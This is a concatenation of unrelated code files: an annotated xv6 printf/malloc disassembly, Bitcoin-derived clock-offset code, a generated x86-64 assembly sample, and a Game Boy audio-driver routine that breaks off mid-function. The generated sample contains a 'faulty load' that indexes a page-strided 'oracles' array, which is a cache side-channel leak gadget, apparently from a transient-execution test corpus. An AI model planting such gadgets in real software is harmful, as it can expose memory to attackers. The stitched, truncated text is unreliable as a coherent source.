ap++;
} else if(c == 'x' || c == 'p'){
506: 81 e1 f7 00 00 00 and $0xf7,%ecx
50c: 83 f9 70 cmp $0x70,%ecx
50f: 74 5f je 570 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
511: 83 f8 73 cmp $0x73,%eax
514: 0f 84 d6 00 00 00 je 5f0 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
51a: 83 f8 63 cmp $0x63,%eax
51d: 0f 84 8d 00 00 00 je 5b0 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
523: 83 f8 25 cmp $0x25,%eax
526: 0f 84 b4 00 00 00 je 5e0 <printf+0x150>
write(fd, &c, 1);
52c: 83 ec 04 sub $0x4,%esp
52f: c6 45 e7 25 movb $0x25,-0x19(%ebp)
533: 6a 01 push $0x1
535: 57 push %edi
536: ff 75 08 pushl 0x8(%ebp)
539: e8 05 fe ff ff call 343 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
53e: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
541: 83 c4 0c add $0xc,%esp
544: 6a 01 push $0x1
546: 83 c6 01 add $0x1,%esi
549: 57 push %edi
54a: ff 75 08 pushl 0x8(%ebp)
54d: e8 f1 fd ff ff call 343 <write>
for(i = 0; fmt[i]; i++){
552: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
556: 83 c4 10 add $0x10,%esp
}
state = 0;
559: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
55b: 84 db test %bl,%bl
55d: 75 8f jne 4ee <printf+0x5e>
}
}
}
55f: 8d 65 f4 lea -0xc(%ebp),%esp
562: 5b pop %ebx
563: 5e pop %esi
564: 5f pop %edi
565: 5d pop %ebp
566: c3 ret
567: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
56e: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
570: 83 ec 0c sub $0xc,%esp
573: b9 10 00 00 00 mov $0x10,%ecx
578: 6a 00 push $0x0
57a: 8b 5d d0 mov -0x30(%ebp),%ebx
57d: 8b 45 08 mov 0x8(%ebp),%eax
580: 8b 13 mov (%ebx),%edx
582: e8 59 fe ff ff call 3e0 <printint>
ap++;
587: 89 d8 mov %ebx,%eax
589: 83 c4 10 add $0x10,%esp
state = 0;
58c: 31 d2 xor %edx,%edx
ap++;
58e: 83 c0 04 add $0x4,%eax
591: 89 45 d0 mov %eax,-0x30(%ebp)
594: e9 4b ff ff ff jmp 4e4 <printf+0x54>
599: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
5a0: 83 ec 0c sub $0xc,%esp
5a3: b9 0a 00 00 00 mov $0xa,%ecx
5a8: 6a 01 push $0x1
5aa: eb ce jmp 57a <printf+0xea>
5ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
5b0: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
5b3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5b6: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
5b8: 6a 01 push $0x1
ap++;
5ba: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
5bd: 57 push %edi
5be: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
5c1: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
5c4: e8 7a fd ff ff call 343 <write>
ap++;
5c9: 89 5d d0 mov %ebx,-0x30(%ebp)
5cc: 83 c4 10 add $0x10,%esp
state = 0;
5cf: 31 d2 xor %edx,%edx
5d1: e9 0e ff ff ff jmp 4e4 <printf+0x54>
5d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5dd: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
5e0: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
5e3: 83 ec 04 sub $0x4,%esp
5e6: e9 59 ff ff ff jmp 544 <printf+0xb4>
5eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
5ef: 90 nop
s = (char*)*ap;
5f0: 8b 45 d0 mov -0x30(%ebp),%eax
5f3: 8b 18 mov (%eax),%ebx
ap++;
5f5: 83 c0 04 add $0x4,%eax
5f8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
5fb: 85 db test %ebx,%ebx
5fd: 74 17 je 616 <printf+0x186>
while(*s != 0){
5ff: 0f b6 03 movzbl (%ebx),%eax
state = 0;
602: 31 d2 xor %edx,%edx
while(*s != 0){
604: 84 c0 test %al,%al
606: 0f 84 d8 fe ff ff je 4e4 <printf+0x54>
60c: 89 75 d4 mov %esi,-0x2c(%ebp)
60f: 89 de mov %ebx,%esi
611: 8b 5d 08 mov 0x8(%ebp),%ebx
614: eb 1a jmp 630 <printf+0x1a0>
s = "(null)";
616: bb 2e 08 00 00 mov $0x82e,%ebx
while(*s != 0){
61b: 89 75 d4 mov %esi,-0x2c(%ebp)
61e: b8 28 00 00 00 mov $0x28,%eax
623: 89 de mov %ebx,%esi
625: 8b 5d 08 mov 0x8(%ebp),%ebx
628: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
62f: 90 nop
write(fd, &c, 1);
630: 83 ec 04 sub $0x4,%esp
s++;
633: 83 c6 01 add $0x1,%esi
636: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
639: 6a 01 push $0x1
63b: 57 push %edi
63c: 53 push %ebx
63d: e8 01 fd ff ff call 343 <write>
while(*s != 0){
642: 0f b6 06 movzbl (%esi),%eax
645: 83 c4 10 add $0x10,%esp
648: 84 c0 test %al,%al
64a: 75 e4 jne 630 <printf+0x1a0>
64c: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
64f: 31 d2 xor %edx,%edx
651: e9 8e fe ff ff jmp 4e4 <printf+0x54>
656: 66 90 xchg %ax,%ax
658: 66 90 xchg %ax,%ax
65a: 66 90 xchg %ax,%ax
65c: 66 90 xchg %ax,%ax
65e: 66 90 xchg %ax,%ax
00000660 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
660: f3 0f 1e fb endbr32
664: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
665: a1 e4 0a 00 00 mov 0xae4,%eax
{
66a: 89 e5 mov %esp,%ebp
66c: 57 push %edi
66d: 56 push %esi
66e: 53 push %ebx
66f: 8b 5d 08 mov 0x8(%ebp),%ebx
672: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
674: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
677: 39 c8 cmp %ecx,%eax
679: 73 15 jae 690 <free+0x30>
67b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
67f: 90 nop
680: 39 d1 cmp %edx,%ecx
682: 72 14 jb 698 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
684: 39 d0 cmp %edx,%eax
686: 73 10 jae 698 <free+0x38>
{
688: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
68a: 8b 10 mov (%eax),%edx
68c: 39 c8 cmp %ecx,%eax
68e: 72 f0 jb 680 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
690: 39 d0 cmp %edx,%eax
692: 72 f4 jb 688 <free+0x28>
694: 39 d1 cmp %edx,%ecx
696: 73 f0 jae 688 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
698: 8b 73 fc mov -0x4(%ebx),%esi
69b: 8d 3c f1 lea (%ecx,%esi,8),%edi
69e: 39 fa cmp %edi,%edx
6a0: 74 1e je 6c0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6a2: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6a5: 8b 50 04 mov 0x4(%eax),%edx
6a8: 8d 34 d0 lea (%eax,%edx,8),%esi
6ab: 39 f1 cmp %esi,%ecx
6ad: 74 28 je 6d7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6af: 89 08 mov %ecx,(%eax)
freep = p;
}
6b1: 5b pop %ebx
freep = p;
6b2: a3 e4 0a 00 00 mov %eax,0xae4
}
6b7: 5e pop %esi
6b8: 5f pop %edi
6b9: 5d pop %ebp
6ba: c3 ret
6bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6bf: 90 nop
bp->s.size += p->s.ptr->s.size;
6c0: 03 72 04 add 0x4(%edx),%esi
6c3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6c6: 8b 10 mov (%eax),%edx
6c8: 8b 12 mov (%edx),%edx
6ca: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6cd: 8b 50 04 mov 0x4(%eax),%edx
6d0: 8d 34 d0 lea (%eax,%edx,8),%esi
6d3: 39 f1 cmp %esi,%ecx
6d5: 75 d8 jne 6af <free+0x4f>
p->s.size += bp->s.size;
6d7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
6da: a3 e4 0a 00 00 mov %eax,0xae4
p->s.size += bp->s.size;
6df: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6e2: 8b 53 f8 mov -0x8(%ebx),%edx
6e5: 89 10 mov %edx,(%eax)
}
6e7: 5b pop %ebx
6e8: 5e pop %esi
6e9: 5f pop %edi
6ea: 5d pop %ebp
6eb: c3 ret
6ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000006f0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
6f0: f3 0f 1e fb endbr32
6f4: 55 push %ebp
6f5: 89 e5 mov %esp,%ebp
6f7: 57 push %edi
6f8: 56 push %esi
6f9: 53 push %ebx
6fa: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6fd: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
700: 8b 3d e4 0a 00 00 mov 0xae4,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
706: 8d 70 07 lea 0x7(%eax),%esi
709: c1 ee 03 shr $0x3,%esi
70c: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
70f: 85 ff test %edi,%edi
711: 0f 84 a9 00 00 00 je 7c0 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
717: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
719: 8b 48 04 mov 0x4(%eax),%ecx
71c: 39 f1 cmp %esi,%ecx
71e: 73 6d jae 78d <malloc+0x9d>
720: 81 fe 00 10 00 00 cmp $0x1000,%esi
726: bb 00 10 00 00 mov $0x1000,%ebx
72b: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
72e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
735: 89 4d e4 mov %ecx,-0x1c(%ebp)
738: eb 17 jmp 751 <malloc+0x61>
73a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
740: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
742: 8b 4a 04 mov 0x4(%edx),%ecx
745: 39 f1 cmp %esi,%ecx
747: 73 4f jae 798 <malloc+0xa8>
749: 8b 3d e4 0a 00 00 mov 0xae4,%edi
74f: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
751: 39 c7 cmp %eax,%edi
753: 75 eb jne 740 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
755: 83 ec 0c sub $0xc,%esp
758: ff 75 e4 pushl -0x1c(%ebp)
75b: e8 4b fc ff ff call 3ab <sbrk>
if(p == (char*)-1)
760: 83 c4 10 add $0x10,%esp
763: 83 f8 ff cmp $0xffffffff,%eax
766: 74 1b je 783 <malloc+0x93>
hp->s.size = nu;
768: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
76b: 83 ec 0c sub $0xc,%esp
76e: 83 c0 08 add $0x8,%eax
771: 50 push %eax
772: e8 e9 fe ff ff call 660 <free>
return freep;
777: a1 e4 0a 00 00 mov 0xae4,%eax
if((p = morecore(nunits)) == 0)
77c: 83 c4 10 add $0x10,%esp
77f: 85 c0 test %eax,%eax
781: 75 bd jne 740 <malloc+0x50>
return 0;
}
}
783: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
786: 31 c0 xor %eax,%eax
}
788: 5b pop %ebx
789: 5e pop %esi
78a: 5f pop %edi
78b: 5d pop %ebp
78c: c3 ret
if(p->s.size >= nunits){
78d: 89 c2 mov %eax,%edx
78f: 89 f8 mov %edi,%eax
791: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
798: 39 ce cmp %ecx,%esi
79a: 74 54 je 7f0 <malloc+0x100>
p->s.size -= nunits;
79c: 29 f1 sub %esi,%ecx
79e: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
7a1: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
7a4: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
7a7: a3 e4 0a 00 00 mov %eax,0xae4
}
7ac: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
7af: 8d 42 08 lea 0x8(%edx),%eax
}
7b2: 5b pop %ebx
7b3: 5e pop %esi
7b4: 5f pop %edi
7b5: 5d pop %ebp
7b6: c3 ret
7b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7be: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
7c0: c7 05 e4 0a 00 00 e8 movl $0xae8,0xae4
7c7: 0a 00 00
base.s.size = 0;
7ca: bf e8 0a 00 00 mov $0xae8,%edi
base.s.ptr = freep = prevp = &base;
7cf: c7 05 e8 0a 00 00 e8 movl $0xae8,0xae8
7d6: 0a 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7d9: 89 f8 mov %edi,%eax
base.s.size = 0;
7db: c7 05 ec 0a 00 00 00 movl $0x0,0xaec
7e2: 00 00 00
if(p->s.size >= nunits){
7e5: e9 36 ff ff ff jmp 720 <malloc+0x30>
7ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
7f0: 8b 0a mov (%edx),%ecx
7f2: 89 08 mov %ecx,(%eax)
7f4: eb b1 jmp 7a7 <malloc+0xb7>
|
// Copyright (c) 2014 The Bitcoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "timedata.h"
#include "netbase.h"
#include "sync.h"
#include "ui_interface.h"
#include "util.h"
#include "utilstrencodings.h"
#include <boost/foreach.hpp>
using namespace std;
static CCriticalSection cs_nTimeOffset;
static int64_t nTimeOffset = 0;
/**
* "Never go to sea with two chronometers; take one or three."
* Our three time sources are:
* - System clock
* - Median of other nodes clocks
* - The user (asking the user to fix the system clock if the first two disagree)
*/
int64_t GetTimeOffset()
{
LOCK(cs_nTimeOffset);
return nTimeOffset;
}
int64_t GetAdjustedTime()
{
return GetTime() + GetTimeOffset();
}
static int64_t abs64(int64_t n)
{
return (n >= 0 ? n : -n);
}
void AddTimeData(const CNetAddr& ip, int64_t nTime)
{
int64_t nOffsetSample = nTime - GetTime();
LOCK(cs_nTimeOffset);
// Ignore duplicates
static set<CNetAddr> setKnown;
if (!setKnown.insert(ip).second)
return;
// Add data
static CMedianFilter<int64_t> vTimeOffsets(200, 0);
vTimeOffsets.input(nOffsetSample);
LogPrintf("Added time data, samples %d, offset %+d (%+d minutes)\n", vTimeOffsets.size(), nOffsetSample, nOffsetSample / 60);
// There is a known issue here (see issue #4521):
//
// - The structure vTimeOffsets contains up to 200 elements, after which
// any new element added to it will not increase its size, replacing the
// oldest element.
//
// - The condition to update nTimeOffset includes checking whether the
// number of elements in vTimeOffsets is odd, which will never happen after
// there are 200 elements.
//
// But in this case the 'bug' is protective against some attacks, and may
// actually explain why we've never seen attacks which manipulate the
// clock offset.
//
// So we should hold off on fixing this and clean it up as part of
// a timing cleanup that strengthens it in a number of other ways.
//
if (vTimeOffsets.size() >= 5 && vTimeOffsets.size() % 2 == 1) {
int64_t nMedian = vTimeOffsets.median();
std::vector<int64_t> vSorted = vTimeOffsets.sorted();
// Only let other nodes change our time by so much
if (abs64(nMedian) < 70 * 60) {
nTimeOffset = nMedian;
} else {
nTimeOffset = 0;
static bool fDone;
if (!fDone) {
// If nobody has a time different than ours but within 5 minutes of ours, give a warning
bool fMatch = false;
BOOST_FOREACH (int64_t nOffset, vSorted)
if (nOffset != 0 && abs64(nOffset) < 5 * 60)
fMatch = true;
if (!fMatch) {
fDone = true;
string strMessage = _("Warning: Please check that your computer's date and time are correct! If your clock is wrong BitcoinNew Core will not work properly.");
strMiscWarning = strMessage;
LogPrintf("*** %s\n", strMessage);
uiInterface.ThreadSafeMessageBox(strMessage, "", CClientUIInterface::MSG_WARNING);
}
}
}
if (fDebug) {
BOOST_FOREACH (int64_t n, vSorted)
LogPrintf("%+d ", n);
LogPrintf("| ");
}
LogPrintf("nTimeOffset = %+d (%+d minutes)\n", nTimeOffset, nTimeOffset / 60);
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x10fe4, %rsi
lea addresses_UC_ht+0x44e4, %rdi
xor %r12, %r12
mov $31, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %r13, %r13
lea addresses_D_ht+0x9160, %rbx
add %r9, %r9
mov (%rbx), %cx
add $26998, %rsi
lea addresses_A_ht+0x2cf4, %rdi
sub %r9, %r9
movups (%rdi), %xmm3
vpextrq $1, %xmm3, %rbx
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x1be4, %rcx
nop
nop
nop
nop
nop
inc %rbx
movl $0x61626364, (%rcx)
nop
nop
nop
nop
lfence
lea addresses_WT_ht+0x14ec, %rsi
lea addresses_WT_ht+0xb7e4, %rdi
clflush (%rsi)
dec %r9
mov $78, %rcx
rep movsl
nop
sub $62314, %r9
lea addresses_normal_ht+0x1e7e4, %rsi
nop
nop
xor $65454, %r13
mov (%rsi), %r12d
nop
nop
xor $8019, %r9
lea addresses_D_ht+0x8be4, %rsi
lea addresses_A_ht+0x1d7c4, %rdi
nop
nop
nop
nop
nop
and $53716, %r11
mov $1, %rcx
rep movsq
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_UC_ht+0xaee4, %rdi
nop
nop
nop
nop
nop
sub $19401, %r12
mov $0x6162636465666768, %r9
movq %r9, %xmm0
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm0, (%rdi)
and %r9, %r9
lea addresses_A_ht+0x12be4, %r13
nop
nop
nop
and $9573, %rcx
movups (%r13), %xmm5
vpextrq $0, %xmm5, %r9
nop
nop
xor $18675, %r12
lea addresses_WT_ht+0x137e4, %r13
nop
nop
nop
nop
nop
and $18890, %r9
movb $0x61, (%r13)
nop
nop
sub $44532, %r9
lea addresses_D_ht+0x187e4, %rsi
lea addresses_A_ht+0x1a6c, %rdi
nop
nop
nop
nop
nop
inc %rbx
mov $95, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rbx
lea addresses_normal_ht+0x189e4, %rsi
nop
nop
nop
nop
nop
sub %r11, %r11
movw $0x6162, (%rsi)
nop
nop
and %rsi, %rsi
lea addresses_A_ht+0x19ee4, %rsi
clflush (%rsi)
cmp $31886, %r9
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%rsi)
nop
nop
nop
and $46419, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rbx
push %rcx
push %rsi
// Store
lea addresses_WT+0x1f2b4, %r13
clflush (%r13)
nop
nop
nop
nop
cmp %r15, %r15
movb $0x51, (%r13)
nop
nop
nop
nop
inc %rcx
// Store
lea addresses_normal+0x4fe4, %r12
xor $11291, %rax
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
movups %xmm7, (%r12)
nop
sub %rcx, %rcx
// Store
lea addresses_D+0x16198, %rbx
nop
nop
nop
nop
cmp $18468, %rsi
movb $0x51, (%rbx)
nop
nop
nop
cmp $45938, %rax
// Faulty Load
lea addresses_normal+0x4fe4, %r12
nop
nop
nop
nop
dec %rcx
mov (%r12), %esi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'58': 6890}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
include "hardware.inc"
;; This is a short program which just contains the noise macro logic found
;; in hUGEDriver. Values are poked by the tracker into RAM, and they are played back
;; by this routine, which is constantly running when the tracker is not playing a song.
add_a_to_r16: MACRO
add \2
ld \2, a
adc \1
sub \2
ld \1, a
ENDM
add_a_to_hl: MACRO
add_a_to_r16 h, l
ENDM
add_a_to_de: MACRO
add_a_to_r16 d, e
ENDM
SECTION "Vars", WRAM0
instr: ds 8
note: db
macro_index: db
SECTION "LCD controller status interrupt", ROM0[$0048]
;; HACK!!!!!!!!!!!!!
;; there's some sort of bug in the emulator which needs to be fixed,
;; which screws up the program counter immediately after it exits a halt.
;; this nop protects against that for now.
nop
nop
nop
jp _domacro
SECTION "init", ROM0[$0100]
jp init
SECTION "romname", ROM0[$0134]
; $0134 - $013E: The title, in upper-case letters, followed by zeroes.
DB "HALT"
DS 7 ; padding
; $013F - $0142: The manufacturer code. Empty for now
DS 4
DS 1
; $0144 - $0145: "New" Licensee Code, a two character name.
DB "NF"
SECTION "code", ROM0[$400]
_domacro:
ld a, [macro_index]
cp 1
jp z, _macro_begin
jp nc, _macro_update
reti
_macro_begin:
ld a, [instr]
ld [rAUD4ENV], a
ld a, [note]
call _convert_ch4_note
ld d, a
ld a, [instr+1]
and %10000000
swap a
or d
ld [rAUD4POLY], a
ld a, [instr+1]
and %00111111
ld [rAUD4LEN], a
ld a, [instr+1]
and %01000000 ; get only length enabled
or %10000000 ; restart sound
ld [rAUD4GO], a
ld hl, macro_index
inc [hl]
reti
_macro_update:
ld a, [macro_index]
ld de, instr
add_a_to_de
ld a, [de]
ld b, a
ld a, [note]
add b
call _convert_ch4_note
